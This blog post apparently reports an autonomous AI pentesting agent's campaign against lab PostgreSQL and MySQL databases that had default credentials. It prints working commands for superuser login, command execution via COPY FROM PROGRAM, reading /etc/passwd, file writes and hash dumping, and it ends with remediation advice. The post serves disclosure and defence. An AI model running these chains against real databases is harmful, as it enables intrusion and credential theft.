· 7 min read
A database superuser is not a database problem. It is a host problem, a credential problem and a compliance problem at the same time, and the distance between the three is usually a single SQL statement. We gave an autonomous agent default credentials on two databases and let it map that distance without a human in the loop.
The targets were PostgreSQL 16.14 on 127.0.0.1:5432 and MySQL 5.6.51 on 172.22.0.2:3306, both seeded with realistic application data. The sql-databases specialist agent ran one campaign across both and pushed 22 findings.
What the agent found
| Severity | Count |
|---|---|
| Critical | 6 |
| High | 10 |
| Medium | 6 |
| Low | 0 |
| Total | 22 |
Sixteen of the 22 are marked exploited. The split is roughly even between the two engines, and the two entry points were the same class of problem: postgres/postgres on PostgreSQL, and a root account reachable from any host on MySQL.
PGPASSWORD=postgres PGSSLMODE=disable psql -h 127.0.0.1 -p 5432 -U postgres -w \
-c 'SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin, rolreplication FROM pg_roles;'
-> PostgreSQL 16.14 (Debian 16.14-1.pgdg13+1)
-> postgres role: rolsuper=t rolcreaterole=t rolcreatedb=t rolcanlogin=t rolreplication=t
mysql -h 172.22.0.2 -P 3306 -u root -p<redacted> \
-e 'SELECT user, host FROM mysql.user; SHOW GRANTS FOR CURRENT_USER();'
-> user=root host=% (accepts from any IP)
-> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' ... WITH GRANT OPTIONChain one: PostgreSQL superuser to command execution
COPY ... FROM PROGRAM is the shortest path from a superuser session to the operating system. It is not a vulnerability in PostgreSQL, it is a documented feature restricted to superusers and members of pg_execute_server_program, which is exactly why default superuser credentials are a critical finding rather than a hygiene note.
PGPASSWORD=postgres psql -h 127.0.0.1 -p 5432 -U postgres -c \
"CREATE TEMP TABLE cmd_output (line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;"
COPY 1
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)The agent then used the same primitive to dump the server environment, which is how it established where it actually was:
COPY env_info FROM PROGRAM 'env';
HOSTNAME=docker-desktop
PGDATA=/var/lib/postgresql/data
PG_VERSION=16.14-1.pgdg13+1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/postgresql/16/binFile read and file write were both proven separately, by two different mechanisms each:
- Read.
pg_read_file('/etc/passwd', 0, 2000)returned the file, 19 entries includingpostgres:x:999:999::/var/lib/postgresql:/bin/bash. Separately,lo_import('/etc/hostname')returned OID 16410 andloreadreturneddocker-desktop. - Write.
COPY ... TO '/tmp/.dm_write_proof'succeeded and the file was read back withpg_read_file, thenlo_export(16410, '/tmp/.dm_lo_proof')returned 1.
It also pulled the password hashes out of pg_shadow, which is a SCRAM-SHA-256 verifier for the superuser, and read pg_hba.conf from disk to show that local and loopback connections are set to trust, so anything already on the host authenticates with no password at all.
Chain two: MySQL 5.6, an end of life engine holding live data
On the MySQL side the story is less about a single primitive and more about accumulation. Version 5.6.51 has been out of support for years, the root account accepts connections from any host, and the vulnapp schema held credentials in plaintext.
- Plaintext application credentials. The
adminsandusertables store passwords in clear, not hashed. The report lists them; we are not reprinting account passwords here. - Live session tokens. The
sessionsandadminsessionstables contained five active admin session identifiers, which is a session hijack primitive that survives a password reset. - File privilege.
secure_file_priv=/var/lib/mysql-files/, so the agent proved write and read withSELECT ... INTO OUTFILEfollowed byLOAD_FILE, which returned the hex of the written string. - Password hashes. The pre-4.1 style hash for
rootwas read frommysql.userat bothlocalhostand%. - Stored cross site scripting waiting in the data. One row in
userdetailshas an address field containing a script tag. The agent recorded it as evidence of what the seeded application stores, not as a web finding, because it never tested a web front end in this campaign.
Findings that stayed at confirmed
Six of the 22 are medium and confirmed rather than exploited, and the distinction is deliberate. SSL disabled on both engines, connection and statement logging off on PostgreSQL, general log, slow query log and binary log all off on MySQL, local_infile on. These are read out of pg_settings and SHOW VARIABLES. Nothing was exploited to establish them, so the report does not say exploited. The same discipline applies to dblink: the extension was created and dblink_connect returned OK against the local instance, which proves the lateral movement and server side request forgery primitive exists, and the finding stops there rather than claiming a pivot that was never attempted.
Remediation
- Replace default credentials, and stop granting superuser to application roles. Almost every critical finding in this report collapses if the application connects as a restricted role.
- Revoke
pg_execute_server_programand keep superuser accounts off the network path. RestrictCOPY ... FROM PROGRAM,lo_importandlo_exportto accounts that need them, which is usually none. - Fix
pg_hba.conf:trustfor local and loopback means any local process is already authenticated. - Migrate off MySQL 5.6. There are no security updates for it, and no configuration hardening compensates for that.
- Bind root to localhost, revoke
FILE, enable TLS on both engines, and turn on statement or audit logging so that the next run of these same commands leaves a trace. - Hash stored passwords, and invalidate the session tokens that were readable in the clear.
A caveat about this report
The server side report generator returned a 500 for this campaign, because a stale reconciler flipped the long running campaign to stopped before finalisation completed. The 22 findings are complete and the document was assembled from them with the same schema. We fixed the underlying generator fragility separately, and we flag the caveat here instead of hiding it.
What this proves about autonomous pentesting
Two engines, two client tools, one campaign, and the agent used psql and mysql correctly for each rather than trying to speak either protocol by hand. The chains it produced are the ones a human would run, and each one carries the exact statement and the exact output. That is what makes the difference between a report a database team argues with and one they act on.
The platform is open source under GPL-3.0: repository, documentation.